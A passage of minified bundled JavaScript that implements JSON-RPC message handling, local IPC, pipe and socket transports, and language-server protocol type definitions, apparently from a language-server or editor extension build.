Tt(){return"not-"+(++a).toString()}function Wt(D,j){ce.isRequestMessage(j)?D.set(ct(j.id),j):ce.isResponseMessage(j)?D.set(St(j.id),j):D.set(Tt(),j)}function $e(D){}function gt(){return G===Wr.Listening}function mt(){return G===Wr.Closed}function ut(){return G===Wr.Disposed}function Pt(){(G===Wr.New||G===Wr.Listening)&&(G=Wr.Closed,_e.fire(void 0))}function Ot(D){X.fire([D,void 0,void 0])}function Jr(D){X.fire(D)}r.onClose(Pt),r.onError(Ot),e.onClose(Pt),e.onError(Jr);function Zr(){E||q.size===0||(E=sg.default().timer.setImmediate(()=>{E=void 0,Or()}))}function Or(){if(q.size===0)return;let D=q.shift();try{ce.isRequestMessage(D)?lt(D):ce.isNotificationMessage(D)?cr(D):ce.isResponseMessage(D)?gr(D):dt(D)}finally{Zr()}}let nt=D=>{try{if(ce.isNotificationMessage(D)&&D.method===Go.type.method){let j=D.params.id,K=ct(j),Q=q.get(K);if(ce.isRequestMessage(Q)){let R=n==null?void 0:n.connectionStrategy,P=R&&R.cancelUndispatched?R.cancelUndispatched(Q,$e):$e(Q);if(P&&(P.error!==void 0||P.result!==void 0)){q.delete(K),P.id=Q.id,Ht(P,D.method,Date.now()),e.write(P).catch(()=>i.error("Sending response for canceled message failed."));return}}let f=String(j),d=H[f];if(d!==void 0){d.cancel(),At(D);return}else A.add(j)}Wt(q,D)}finally{Zr()}};function lt(D){if(ut())return;function j(y,m,x){let I={jsonrpc:u,id:D.id};y instanceof ce.ResponseError?I.error=y.toJson():I.result=y===void 0?null:y,Ht(I,m,x),e.write(I).catch(()=>i.error("Sending response failed."))}function K(y,m,x){let I={jsonrpc:u,id:D.id,error:y.toJson()};Ht(I,m,x),e.write(I).catch(()=>i.error("Sending response failed."))}function Q(y,m,x){y===void 0&&(y=null);let I={jsonrpc:u,id:D.id,result:y};Ht(I,m,x),e.write(I).catch(()=>i.error("Sending response failed."))}Fr(D);let f=v[D.method],d,R;f&&(d=f.type,R=f.handler);let P=Date.now();if(R||g){let y=String(D.id),m=Fe.receiver.createCancellationTokenSource(y);D.id!==null&&A.has(D.id)&&m.cancel(),H[y]=m;try{let x;if(R)if(D.params===void 0){if(d!==void 0&&d.numberOfParams!==0){K(new ce.ResponseError(ce.ErrorCodes.InvalidParams,`Request ${D.method} defines ${d.numberOfParams} params but received none.`),D.method,P);return}x=R(m.token)}else if(Array.isArray(D.params)){if(d!==void 0&&d.parameterStructures===ce.ParameterStructures.byName){K(new ce.ResponseError(ce.ErrorCodes.InvalidParams,`Request ${D.method} defines parameters by name but received parameters by position`),D.method,P);return}x=R(...D.params,m.token)}else{if(d!==void 0&&d.parameterStructures===ce.ParameterStructures.byPosition){K(new ce.ResponseError(ce.ErrorCodes.InvalidParams,`Request ${D.method} defines parameters by position but received parameters by name`),D.method,P);return}x=R(D.params,m.token)}else g&&(x=g(D.method,D.params,m.token));let I=x;x?I.then?I.then(Y=>{delete H[y],j(Y,D.method,P)},Y=>{delete H[y],Y instanceof ce.ResponseError?K(Y,D.method,P):Y&&ft.string(Y.message)?K(new ce.ResponseError(ce.ErrorCodes.InternalError,`Request ${D.method} failed with message: ${Y.message}`),D.method,P):K(new ce.ResponseError(ce.ErrorCodes.InternalError,`Request ${D.method} failed unexpectedly without providing any details.`),D.method,P)}):(delete H[y],j(x,D.method,P)):(delete H[y],Q(x,D.method,P))}catch(x){delete H[y],x instanceof ce.ResponseError?j(x,D.method,P):x&&ft.string(x.message)?K(new ce.ResponseError(ce.ErrorCodes.InternalError,`Request ${D.method} failed with message: ${x.message}`),D.method,P):K(new ce.ResponseError(ce.ErrorCodes.InternalError,`Request ${D.method} failed unexpectedly without providing any details.`),D.method,P)}}else K(new ce.ResponseError(ce.ErrorCodes.MethodNotFound,`Unhandled method ${D.method}`),D.method,P)}function gr(D){if(!ut())if(D.id===null)D.error?i.error(`Received response message without id: Error is:
${JSON.stringify(D.error,void 0,4)}`):i.error("Received response message without id. No further error information provided.");else{let j=String(D.id),K=N[j];if(vr(D,K),K){delete N[j];try{if(D.error){let Q=D.error;K.reject(new ce.ResponseError(Q.code,Q.message,Q.data))}else if(D.result!==void 0)K.resolve(D.result);else throw new Error("Should never happen.")}catch(Q){Q.message?i.error(`Response handler '${K.method}' failed with message: ${Q.message}`):i.error(`Response handler '${K.method}' failed unexpectedly.`)}}}}function cr(D){if(ut())return;let j,K;if(D.method===Go.type.method){let Q=D.params.id;A.delete(Q),At(D);return}else{let Q=C[D.method];Q&&(K=Q.handler,j=Q.type)}if(K||b)try{At(D),K?D.params===void 0?(j!==void 0&&j.numberOfParams!==0&&j.parameterStructures!==ce.ParameterStructures.byName&&i.error(`Notification ${D.method} defines ${j.numberOfParams} params but received none.`),K()):Array.isArray(D.params)?(j!==void 0&&(j.parameterStructures===ce.ParameterStructures.byName&&i.error(`Notification ${D.method} defines parameters by name but received parameters by position`),j.numberOfParams!==D.params.length&&i.error(`Notification ${D.method} defines ${j.numberOfParams} params but received ${D.params.length} arguments`)),K(...D.params)):(j!==void 0&&j.parameterStructures===ce.ParameterStructures.byPosition&&i.error(`Notification ${D.method} defines parameters by position but received parameters by name`),K(D.params)):b&&b(D.method,D.params)}catch(Q){Q.message?i.error(`Notification handler '${D.method}' failed with message: ${Q.message}`):i.error(`Notification handler '${D.method}' failed unexpectedly.`)}else Ae.fire(D)}function dt(D){if(!D){i.error("Received empty message.");return}i.error(`Received message which is neither a response nor a notification message:
${JSON.stringify(D,null,4)}`);let j=D;if(ft.string(j.id)||ft.number(j.id)){let K=String(j.id),Q=N[K];Q&&Q.reject(new Error("The received response has neither a result nor an error property."))}}function mr(D){if(!(O===ot.Off||!M))if(z===$r.Text){let j;O===ot.Verbose&&D.params&&(j=`Params: ${JSON.stringify(D.params,null,4)}
`),M.log(`Sending request '${D.method} - (${D.id})'.`,j)}else ke("send-request",D)}function Ar(D){if(!(O===ot.Off||!M))if(z===$r.Text){let j;O===ot.Verbose&&(D.params?j=`Params: ${JSON.stringify(D.params,null,4)}
`:j=`No parameters provided.
`),M.log(`Sending notification '${D.method}'.`,j)}else ke("send-notification",D)}function Ht(D,j,K){if(!(O===ot.Off||!M))if(z===$r.Text){let Q;O===ot.Verbose&&(D.error&&D.error.data?Q=`Error data: ${JSON.stringify(D.error.data,null,4)}
`:D.result?Q=`Result: ${JSON.stringify(D.result,null,4)}
`:D.error===void 0&&(Q=`No result returned.
`)),M.log(`Sending response '${j} - (${D.id})'. Processing request took ${Date.now()-K}ms`,Q)}else ke("send-response",D)}function Fr(D){if(!(O===ot.Off||!M))if(z===$r.Text){let j;O===ot.Verbose&&D.params&&(j=`Params: ${JSON.stringify(D.params,null,4)}
`),M.log(`Received request '${D.method} - (${D.id})'.`,j)}else ke("receive-request",D)}function At(D){if(!(O===ot.Off||!M||D.method===xu.type.method))if(z===$r.Text){let j;O===ot.Verbose&&(D.params?j=`Params: ${JSON.stringify(D.params,null,4)}
`:j=`No parameters provided.
`),M.log(`Received notification '${D.method}'.`,j)}else ke("receive-notification",D)}function vr(D,j){if(!(O===ot.Off||!M))if(z===$r.Text){let K;if(O===ot.Verbose&&(D.error&&D.error.data?K=`Error data: ${JSON.stringify(D.error.data,null,4)}
`:D.result?K=`Result: ${JSON.stringify(D.result,null,4)}
`:D.error===void 0&&(K=`No result returned.
`)),j){let Q=D.error?` Request failed: ${D.error.message} (${D.error.code}).`:"";M.log(`Received response '${j.method} - (${D.id})' in ${Date.now()-j.timerStart}ms.${Q}`,K)}else M.log(`Received response ${D.id} without active response promise.`,K)}else ke("receive-response",D)}function ke(D,j){if(!M||O===ot.Off)return;let K={isLSPMessage:!0,type:D,message:j,timestamp:Date.now()};M.log(K)}function Dt(){if(mt())throw new si(Sa.Closed,"Connection is closed.");if(ut())throw new si(Sa.Disposed,"Connection is disposed.")}function Ir(){if(gt())throw new si(Sa.AlreadyListening,"Connection is already listening")}function yr(){if(!gt())throw new Error("Call listen() first.")}function zt(D){return D===void 0?null:D}function Zt(D){if(D!==null)return D}function Ze(D){return D!=null&&!Array.isArray(D)&&typeof D=="object"}function Bt(D,j){switch(D){case ce.ParameterStructures.auto:return Ze(j)?Zt(j):[zt(j)];case ce.ParameterStructures.byName:if(!Ze(j))throw new Error("Received parameters by name but param is not an object literal.");return Zt(j);case ce.ParameterStructures.byPosition:return[zt(j)];default:throw new Error(`Unknown parameter structure ${D.toString()}`)}}function er(D,j){let K,Q=D.numberOfParams;switch(Q){case 0:K=void 0;break;case 1:K=Bt(D.parameterStructures,j[0]);break;default:K=[];for(let f=0;f<j.length&&f<Q;f++)K.push(zt(j[f]));if(j.length<Q)for(let f=j.length;f<Q;f++)K.push(null);break}return K}let Ut={sendNotification:(D,...j)=>{Dt();let K,Q;if(ft.string(D)){K=D;let d=j[0],R=0,P=ce.ParameterStructures.auto;ce.ParameterStructures.is(d)&&(R=1,P=d);let y=j.length,m=y-R;switch(m){case 0:Q=void 0;break;case 1:Q=Bt(P,j[R]);break;default:if(P===ce.ParameterStructures.byName)throw new Error(`Received ${m} parameters for 'by Name' notification parameter structure.`);Q=j.slice(R,y).map(x=>zt(x));break}}else{let d=j;K=D.method,Q=er(D,d)}let f={jsonrpc:u,method:K,params:Q};return Ar(f),e.write(f).catch(()=>i.error("Sending notification failed."))},onNotification:(D,j)=>{Dt();let K;return ft.func(D)?b=D:j&&(ft.string(D)?(K=D,C[D]={type:void 0,handler:j}):(K=D.method,C[D.method]={type:D,handler:j})),{dispose:()=>{K!==void 0?delete C[K]:b=void 0}}},onProgress:(D,j,K)=>{if(w.has(j))throw new Error(`Progress handler for token ${j} already registered`);return w.set(j,K),{dispose:()=>{w.delete(j)}}},sendProgress:(D,j,K)=>Ut.sendNotification(_a.type,{token:j,value:K}),onUnhandledProgress:Je.event,sendRequest:(D,...j)=>{Dt(),yr();let K,Q,f;if(ft.string(D)){K=D;let y=j[0],m=j[j.length-1],x=0,I=ce.ParameterStructures.auto;ce.ParameterStructures.is(y)&&(x=1,I=y);let Y=j.length;Du.CancellationToken.is(m)&&(Y=Y-1,f=m);let be=Y-x;switch(be){case 0:Q=void 0;break;case 1:Q=Bt(I,j[x]);break;default:if(I===ce.ParameterStructures.byName)throw new Error(`Received ${be} parameters for 'by Name' request parameter structure.`);Q=j.slice(x,Y).map(we=>zt(we));break}}else{let y=j;K=D.method,Q=er(D,y);let m=D.numberOfParams;f=Du.CancellationToken.is(y[m])?y[m]:void 0}let d=s++,R;return f&&(R=f.onCancellationRequested(()=>{let y=Fe.sender.sendCancellation(Ut,d);return y===void 0?(i.log(`Received no promise from cancellation strategy when cancelling id ${d}`),Promise.resolve()):y.catch(()=>{i.log(`Sending cancellation messages for id ${d} failed`)})})),new Promise((y,m)=>{let x={jsonrpc:u,id:d,method:K,params:Q},I=we=>{y(we),Fe.sender.cleanup(d),R==null||R.dispose()},Y=we=>{m(we),Fe.sender.cleanup(d),R==null||R.dispose()},be={method:K,timerStart:Date.now(),resolve:I,reject:Y};mr(x);try{e.write(x).catch(()=>i.error("Sending request failed."))}catch(we){be.reject(new ce.ResponseError(ce.ErrorCodes.MessageWriteError,we.message?we.message:"Unknown reason")),be=null}be&&(N[String(d)]=be)})},onRequest:(D,j)=>{Dt();let K=null;return Eu.is(D)?(K=void 0,g=D):ft.string(D)?(K=null,j!==void 0&&(K=D,v[D]={handler:j,type:void 0})):j!==void 0&&(K=D.method,v[D.method]={type:D,handler:j}),{dispose:()=>{K!==null&&(K!==void 0?delete v[K]:g=void 0)}}},trace:(D,j,K)=>{let Q=!1,f=$r.Text;K!==void 0&&(ft.boolean(K)?Q=K:(Q=K.sendNotification||!1,f=K.traceFormat||$r.Text)),O=D,z=f,O===ot.Off?M=void 0:M=j,Q&&!mt()&&!ut()&&Ut.sendNotification(ug.type,{value:ot.toString(D)}).catch(()=>{i.error("Sending trace notification failed")})},onError:X.event,onClose:_e.event,onUnhandledNotification:Ae.event,onDispose:je.event,end:()=>{e.end()},dispose:()=>{if(ut())return;G=Wr.Disposed,je.fire(void 0);let D=new Error("Connection got disposed.");Object.keys(N).forEach(j=>{N[j].reject(D)}),N=Object.create(null),H=Object.create(null),A=new Set,q=new ag.LinkedMap,ft.func(e.dispose)&&e.dispose(),ft.func(r.dispose)&&r.dispose()},listen:()=>{Dt(),Ir(),G=Wr.Listening,r.listen(nt)},inspect:()=>{sg.default().console.log("inspect")}};return Ut.onNotification(xu.type,D=>{O===ot.Off||!M||M.log(D.message,O===ot.Verbose?D.verbose:void 0)}),Ut.onNotification(_a.type,D=>{let j=w.get(D.token);j?j(D.value):Je.fire(D)}),Ut}ue.createMessageConnection=RT});var Lu=F(W=>{"use strict";Object.defineProperty(W,"__esModule",{value:!0});W.ConnectionErrors=W.LogTraceNotification=W.SetTraceNotification=W.TraceFormat=W.Trace=W.ProgressType=W.createMessageConnection=W.NullLogger=W.ConnectionOptions=W.ConnectionStrategy=W.WriteableStreamMessageWriter=W.AbstractMessageWriter=W.MessageWriter=W.ReadableStreamMessageReader=W.AbstractMessageReader=W.MessageReader=W.CancellationToken=W.CancellationTokenSource=W.Emitter=W.Event=W.Disposable=W.LRUCache=W.Touch=W.LinkedMap=W.ParameterStructures=W.NotificationType9=W.NotificationType8=W.NotificationType7=W.NotificationType6=W.NotificationType5=W.NotificationType4=W.NotificationType3=W.NotificationType2=W.NotificationType1=W.NotificationType0=W.NotificationType=W.ErrorCodes=W.ResponseError=W.RequestType9=W.RequestType8=W.RequestType7=W.RequestType6=W.RequestType5=W.RequestType4=W.RequestType3=W.RequestType2=W.RequestType1=W.RequestType0=W.RequestType=W.RAL=void 0;W.CancellationStrategy=W.CancellationSenderStrategy=W.CancellationReceiverStrategy=W.ConnectionError=void 0;var We=pu();Object.defineProperty(W,"RequestType",{enumerable:!0,get:function(){return We.RequestType}});Object.defineProperty(W,"RequestType0",{enumerable:!0,get:function(){return We.RequestType0}});Object.defineProperty(W,"RequestType1",{enumerable:!0,get:function(){return We.RequestType1}});Object.defineProperty(W,"RequestType2",{enumerable:!0,get:function(){return We.RequestType2}});Object.defineProperty(W,"RequestType3",{enumerable:!0,get:function(){return We.RequestType3}});Object.defineProperty(W,"RequestType4",{enumerable:!0,get:function(){return We.RequestType4}});Object.defineProperty(W,"RequestType5",{enumerable:!0,get:function(){return We.RequestType5}});Object.defineProperty(W,"RequestType6",{enumerable:!0,get:function(){return We.RequestType6}});Object.defineProperty(W,"RequestType7",{enumerable:!0,get:function(){return We.RequestType7}});Object.defineProperty(W,"RequestType8",{enumerable:!0,get:function(){return We.RequestType8}});Object.defineProperty(W,"RequestType9",{enumerable:!0,get:function(){return We.RequestType9}});Object.defineProperty(W,"ResponseError",{enumerable:!0,get:function(){return We.ResponseError}});Object.defineProperty(W,"ErrorCodes",{enumerable:!0,get:function(){return We.ErrorCodes}});Object.defineProperty(W,"NotificationType",{enumerable:!0,get:function(){return We.NotificationType}});Object.defineProperty(W,"NotificationType0",{enumerable:!0,get:function(){return We.NotificationType0}});Object.defineProperty(W,"NotificationType1",{enumerable:!0,get:function(){return We.NotificationType1}});Object.defineProperty(W,"NotificationType2",{enumerable:!0,get:function(){return We.NotificationType2}});Object.defineProperty(W,"NotificationType3",{enumerable:!0,get:function(){return We.NotificationType3}});Object.defineProperty(W,"NotificationType4",{enumerable:!0,get:function(){return We.NotificationType4}});Object.defineProperty(W,"NotificationType5",{enumerable:!0,get:function(){return We.NotificationType5}});Object.defineProperty(W,"NotificationType6",{enumerable:!0,get:function(){return We.NotificationType6}});Object.defineProperty(W,"NotificationType7",{enumerable:!0,get:function(){return We.NotificationType7}});Object.defineProperty(W,"NotificationType8",{enumerable:!0,get:function(){return We.NotificationType8}});Object.defineProperty(W,"NotificationType9",{enumerable:!0,get:function(){return We.NotificationType9}});Object.defineProperty(W,"ParameterStructures",{enumerable:!0,get:function(){return We.ParameterStructures}});var Au=mu();Object.defineProperty(W,"LinkedMap",{enumerable:!0,get:function(){return Au.LinkedMap}});Object.defineProperty(W,"LRUCache",{enumerable:!0,get:function(){return Au.LRUCache}});Object.defineProperty(W,"Touch",{enumerable:!0,get:function(){return Au.Touch}});var _T=du();Object.defineProperty(W,"Disposable",{enumerable:!0,get:function(){return _T.Disposable}});var fg=Ni();Object.defineProperty(W,"Event",{enumerable:!0,get:function(){return fg.Event}});Object.defineProperty(W,"Emitter",{enumerable:!0,get:function(){return fg.Emitter}});var hg=wu();Object.defineProperty(W,"CancellationTokenSource",{enumerable:!0,get:function(){return hg.CancellationTokenSource}});Object.defineProperty(W,"CancellationToken",{enumerable:!0,get:function(){return hg.CancellationToken}});var Fu=Jp();Object.defineProperty(W,"MessageReader",{enumerable:!0,get:function(){return Fu.MessageReader}});Object.defineProperty(W,"AbstractMessageReader",{enumerable:!0,get:function(){return Fu.AbstractMessageReader}});Object.defineProperty(W,"ReadableStreamMessageReader",{enumerable:!0,get:function(){return Fu.ReadableStreamMessageReader}});var Iu=og();Object.defineProperty(W,"MessageWriter",{enumerable:!0,get:function(){return Iu.MessageWriter}});Object.defineProperty(W,"AbstractMessageWriter",{enumerable:!0,get:function(){return Iu.AbstractMessageWriter}});Object.defineProperty(W,"WriteableStreamMessageWriter",{enumerable:!0,get:function(){return Iu.WriteableStreamMessageWriter}});var nr=dg();Object.defineProperty(W,"ConnectionStrategy",{enumerable:!0,get:function(){return nr.ConnectionStrategy}});Object.defineProperty(W,"ConnectionOptions",{enumerable:!0,get:function(){return nr.ConnectionOptions}});Object.defineProperty(W,"NullLogger",{enumerable:!0,get:function(){return nr.NullLogger}});Object.defineProperty(W,"createMessageConnection",{enumerable:!0,get:function(){return nr.createMessageConnection}});Object.defineProperty(W,"ProgressType",{enumerable:!0,get:function(){return nr.ProgressType}});Object.defineProperty(W,"Trace",{enumerable:!0,get:function(){return nr.Trace}});Object.defineProperty(W,"TraceFormat",{enumerable:!0,get:function(){return nr.TraceFormat}});Object.defineProperty(W,"SetTraceNotification",{enumerable:!0,get:function(){return nr.SetTraceNotification}});Object.defineProperty(W,"LogTraceNotification",{enumerable:!0,get:function(){return nr.LogTraceNotification}});Object.defineProperty(W,"ConnectionErrors",{enumerable:!0,get:function(){return nr.ConnectionErrors}});Object.defineProperty(W,"ConnectionError",{enumerable:!0,get:function(){return nr.ConnectionError}});Object.defineProperty(W,"CancellationReceiverStrategy",{enumerable:!0,get:function(){return nr.CancellationReceiverStrategy}});Object.defineProperty(W,"CancellationSenderStrategy",{enumerable:!0,get:function(){return nr.CancellationSenderStrategy}});Object.defineProperty(W,"CancellationStrategy",{enumerable:!0,get:function(){return nr.CancellationStrategy}});var ST=bn();W.RAL=ST.default});var ai=F(Ee=>{"use strict";var TT=Ee&&Ee.__createBinding||(Object.create?function(r,e,t,n){n===void 0&&(n=t),Object.defineProperty(r,n,{enumerable:!0,get:function(){return e[t]}})}:function(r,e,t,n){n===void 0&&(n=t),r[n]=e[t]}),PT=Ee&&Ee.__exportStar||function(r,e){for(var t in r)t!=="default"&&!Object.prototype.hasOwnProperty.call(e,t)&&TT(e,r,t)};Object.defineProperty(Ee,"__esModule",{value:!0});Ee.createMessageConnection=Ee.createServerSocketTransport=Ee.createClientSocketTransport=Ee.createServerPipeTransport=Ee.createClientPipeTransport=Ee.generateRandomPipeName=Ee.StreamMessageWriter=Ee.StreamMessageReader=Ee.SocketMessageWriter=Ee.SocketMessageReader=Ee.IPCMessageWriter=Ee.IPCMessageReader=void 0;var ji=Cp();ji.default.install();var rn=Lu(),pg=require("path"),DT=require("os"),ET=require("crypto"),Ta=require("net");PT(Lu(),Ee);var gg=class extends rn.AbstractMessageReader{constructor(e){super();this.process=e;let t=this.process;t.on("error",n=>this.fireError(n)),t.on("close",()=>this.fireClose())}listen(e){return this.process.on("message",e),rn.Disposable.create(()=>this.process.off("message",e))}};Ee.IPCMessageReader=gg;var mg=class extends rn.AbstractMessageWriter{constructor(e){super();this.process=e,this.errorCount=0;let t=this.process;t.on("error",n=>this.fireError(n)),t.on("close",()=>this.fireClose)}write(e){try{return typeof this.process.send=="function"&&this.process.send(e,void 0,void 0,t=>{t?(this.errorCount++,this.handleError(t,e)):this.errorCount=0}),Promise.resolve()}catch(t){return this.handleError(t,e),Promise.reject(t)}}handleError(e,t){this.errorCount++,this.fireError(e,t,this.errorCount)}end(){}};Ee.IPCMessageWriter=mg;var $i=class extends rn.ReadableStreamMessageReader{constructor(e,t="utf-8"){super(ji.default().stream.asReadableStream(e),t)}};Ee.SocketMessageReader=$i;var Wi=class extends rn.WriteableStreamMessageWriter{constructor(e,t){super(ji.default().stream.asWritableStream(e),t);this.socket=e}dispose(){super.dispose(),this.socket.destroy()}};Ee.SocketMessageWriter=Wi;var Nu=class extends rn.ReadableStreamMessageReader{constructor(e,t){super(ji.default().stream.asReadableStream(e),t)}};Ee.StreamMessageReader=Nu;var Mu=class extends rn.WriteableStreamMessageWriter{constructor(e,t){super(ji.default().stream.asWritableStream(e),t)}};Ee.StreamMessageWriter=Mu;var vg=process.env.XDG_RUNTIME_DIR,xT=new Map([["linux",107],["darwin",103]]);function kT(){let r=ET.randomBytes(21).toString("hex");if(process.platform==="win32")return`\\\\.\\pipe\\vscode-jsonrpc-${r}-sock`;let e;vg?e=pg.join(vg,`vscode-ipc-${r}.sock`):e=pg.join(DT.tmpdir(),`vscode-${r}.sock`);let t=xT.get(process.platform);return t!==void 0&&e.length>=t&&ji.default().console.warn(`WARNING: IPC handle "${e}" is longer than ${t} characters.`),e}Ee.generateRandomPipeName=kT;function qT(r,e="utf-8"){let t,n=new Promise((i,s)=>{t=i});return new Promise((i,s)=>{let a=Ta.createServer(l=>{a.close(),t([new $i(l,e),new Wi(l,e)])});a.on("error",s),a.listen(r,()=>{a.removeListener("error",s),i({onConnected:()=>n})})})}Ee.createClientPipeTransport=qT;function OT(r,e="utf-8"){let t=Ta.createConnection(r);return[new $i(t,e),new Wi(t,e)]}Ee.createServerPipeTransport=OT;function AT(r,e="utf-8"){let t,n=new Promise((i,s)=>{t=i});return new Promise((i,s)=>{let a=Ta.createServer(l=>{a.close(),t([new $i(l,e),new Wi(l,e)])});a.on("error",s),a.listen(r,"127.0.0.1",()=>{a.removeListener("error",s),i({onConnected:()=>n})})})}Ee.createClientSocketTransport=AT;function FT(r,e="utf-8"){let t=Ta.createConnection(r,"127.0.0.1");return[new $i(t,e),new Wi(t,e)]}Ee.createServerSocketTransport=FT;function IT(r){let e=r;return e.read!==void 0&&e.addListener!==void 0}function LT(r){let e=r;return e.write!==void 0&&e.addListener!==void 0}function NT(r,e,t,n){t||(t=rn.NullLogger);let i=IT(r)?new Nu(r):r,s=LT(e)?new Mu(e):e;return rn.ConnectionStrategy.is(n)&&(n={connectionStrategy:n}),rn.createMessageConnection(i,s,t,n)}Ee.createMessageConnection=NT});var ju=F((Jq,yg)=>{"use strict";yg.exports=ai()});var wg=F((bg,Pa)=>{(function(r){if(typeof Pa=="object"&&typeof Pa.exports=="object"){var e=r(require,bg);e!==void 0&&(Pa.exports=e)}else typeof define=="function"&&define.amd&&define(["require","exports"],r)})(function(r,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.TextDocument=e.EOL=e.SemanticTokens=e.SemanticTokenModifiers=e.SemanticTokenTypes=e.SelectionRange=e.DocumentLink=e.FormattingOptions=e.CodeLens=e.CodeAction=e.CodeActionContext=e.CodeActionKind=e.DocumentSymbol=e.SymbolInformation=e.SymbolTag=e.SymbolKind=e.DocumentHighlight=e.DocumentHighlightKind=e.SignatureInformation=e.ParameterInformation=e.Hover=e.MarkedString=e.CompletionList=e.CompletionItem=e.CompletionItemLabelDetails=e.InsertTextMode=e.InsertReplaceEdit=e.CompletionItemTag=e.InsertTextFormat=e.CompletionItemKind=e.MarkupContent=e.MarkupKind=e.TextDocumentItem=e.OptionalVersionedTextDocumentIdentifier=e.VersionedTextDocumentIdentifier=e.TextDocumentIdentifier=e.WorkspaceChange=e.WorkspaceEdit=e.DeleteFile=e.RenameFile=e.CreateFile=e.TextDocumentEdit=e.AnnotatedTextEdit=e.ChangeAnnotationIdentifier=e.ChangeAnnotation=e.TextEdit=e.Command=e.Diagnostic=e.CodeDescription=e.DiagnosticTag=e.DiagnosticSeverity=e.DiagnosticRelatedInformation=e.FoldingRange=e.FoldingRangeKind=e.ColorPresentation=e.ColorInformation=e.Color=e.LocationLink=e.Location=e.Range=e.Position=e.uinteger=e.integer=void 0;var t;(function(d){d.MIN_VALUE=-2147483648,d.MAX_VALUE=2147483647})(t=e.integer||(e.integer={}));var n;(function(d){d.MIN_VALUE=0,d.MAX_VALUE=2147483647})(n=e.uinteger||(e.uinteger={}));var i;(function(d){function R(y,m){return y===Number.MAX_VALUE&&(y=n.MAX_VALUE),m===Number.MAX_VALUE&&(m=n.MAX_VALUE),{line:y,character:m}}d.create=R;function P(y){var m=y;return f.objectLiteral(m)&&f.uinteger(m.line)&&f.uinteger(m.character)}d.is=P})(i=e.Position||(e.Position={}));var s;(function(d){function R(y,m,x,I){if(f.uinteger(y)&&f.uinteger(m)&&f.uinteger(x)&&f.uinteger(I))return{start:i.create(y,m),end:i.create(x,I)};if(i.is(y)&&i.is(m))return{start:y,end:m};throw new Error("Range#create called with invalid arguments["+y+", "+m+", "+x+", "+I+"]")}d.create=R;function P(y){var m=y;return f.objectLiteral(m)&&i.is(m.start)&&i.is(m.end)}d.is=P})(s=e.Range||(e.Range={}));var a;(function(d){function R(y,m){return{uri:y,range:m}}d.create=R;function P(y){var m=y;return f.defined(m)&&s.is(m.range)&&(f.string(m.uri)||f.undefined(m.uri))}d.is=P})(a=e.Location||(e.Location={}));var l;(function(d){function R(y,m,x,I){return{targetUri:y,targetRange:m,targetSelectionRange:x,originSelectionRange:I}}d.create=R;function P(y){var m=y;return f.defined(m)&&s.is(m.targetRange)&&f.string(m.targetUri)&&(s.is(m.targetSelectionRange)||f.undefined(m.targetSelectionRange))&&(s.is(m.originSelectionRange)||f.undefined(m.originSelectionRange))}d.is=P})(l=e.LocationLink||(e.LocationLink={}));var u;(function(d){function R(y,m,x,I){return{red:y,green:m,blue:x,alpha:I}}d.create=R;function P(y){var m=y;return f.numberRange(m.red,0,1)&&f.numberRange(m.green,0,1)&&f.numberRange(m.blue,0,1)&&f.numberRange(m.alpha,0,1)}d.is=P})(u=e.Color||(e.Color={}));var g;(function(d){function R(y,m){return{range:y,color:m}}d.create=R;function P(y){var m=y;return s.is(m.range)&&u.is(m.color)}d.is=P})(g=e.ColorInformation||(e.ColorInformation={}));var v;(function(d){function R(y,m,x){return{label:y,textEdit:m,additionalTextEdits:x}}d.create=R;function P(y){var m=y;return f.string(m.label)&&(f.undefined(m.textEdit)||O.is(m))&&(f.undefined(m.additionalTextEdits)||f.typedArray(m.additionalTextEdits,O.is))}d.is=P})(v=e.ColorPresentation||(e.ColorPresentation={}));var b;(function(d){d.Comment="comment",d.Imports="imports",d.Region="region"})(b=e.FoldingRangeKind||(e.FoldingRangeKind={}));var C;(function(d){function R(y,m,x,I,Y){var be={startLine:y,endLine:m};return f.defined(x)&&(be.startCharacter=x),f.defined(I)&&(be.endCharacter=I),f.defined(Y)&&(be.kind=Y),be}d.create=R;function P(y){var m=y;return f.uinteger(m.startLine)&&f.uinteger(m.startLine)&&(f.undefined(m.startCharacter)||f.uinteger(m.startCharacter))&&(f.undefined(m.endCharacter)||f.uinteger(m.endCharacter))&&(f.undefined(m.kind)||f.string(m.kind))}d.is=P})(C=e.FoldingRange||(e.FoldingRange={}));var w;(function(d){function R(y,m){return{location:y,message:m}}d.create=R;function P(y){var m=y;return f.defined(m)&&a.is(m.location)&&f.string(m.message)}d.is=P})(w=e.DiagnosticRelatedInformation||(e.DiagnosticRelatedInformation={}));var E;(function(d){d.Error=1,d.Warning=2,d.Information=3,d.Hint=4})(E=e.DiagnosticSeverity||(e.DiagnosticSeverity={}));var q;(function(d){d.Unnecessary=1,d.Deprecated=2})(q=e.DiagnosticTag||(e.DiagnosticTag={}));var N;(function(d){function R(P){var y=P;return y!=null&&f.string(y.href)}d.is=R})(N=e.CodeDescription||(e.CodeDescription={}));var A;(function(d){function R(y,m,x,I,Y,be){var we={range:y,message:m};return f.defined(x)&&(we.severity=x),f.defined(I)&&(we.code=I),f.defined(Y)&&(we.source=Y),f.defined(be)&&(we.relatedInformation=be),we}d.create=R;function P(y){var m,x=y;return f.defined(x)&&s.is(x.range)&&f.string(x.message)&&(f.number(x.severity)||f.undefined(x.severity))&&(f.integer(x.code)||f.string(x.code)||f.undefined(x.code))&&(f.undefined(x.codeDescription)||f.string((m=x.codeDescription)===null||m===void 0?void 0:m.href))&&(f.string(x.source)||f.undefined(x.source))&&(f.undefined(x.relatedInformation)||f.typedArray(x.relatedInformation,w.is))}d.is=P})(A=e.Diagnostic||(e.Diagnostic={}));var H;(function(d){function R(y,m){for(var x=[],I=2;I<arguments.length;I++)x[I-2]=arguments[I];var Y={title:y,command:m};return f.defined(x)&&x.length>0&&(Y.arguments=x),Y}d.create=R;function P(y){var m=y;return f.defined(m)&&f.string(m.title)&&f.string(m.command)}d.is=P})(H=e.Command||(e.Command={}));var O;(function(d){function R(x,I){return{range:x,newText:I}}d.replace=R;function P(x,I){return{range:{start:x,end:x},newText:I}}d.insert=P;function y(x){return{range:x,newText:""}}d.del=y;function m(x){var I=x;return f.objectLiteral(I)&&f.string(I.newText)&&s.is(I.range)}d.is=m})(O=e.TextEdit||(e.TextEdit={}));var z;(function(d){function R(y,m,x){var I={label:y};return m!==void 0&&(I.needsConfirmation=m),x!==void 0&&(I.description=x),I}d.create=R;function P(y){var m=y;return m!==void 0&&f.objectLiteral(m)&&f.string(m.label)&&(f.boolean(m.needsConfirmation)||m.needsConfirmation===void 0)&&(f.string(m.description)||m.description===void 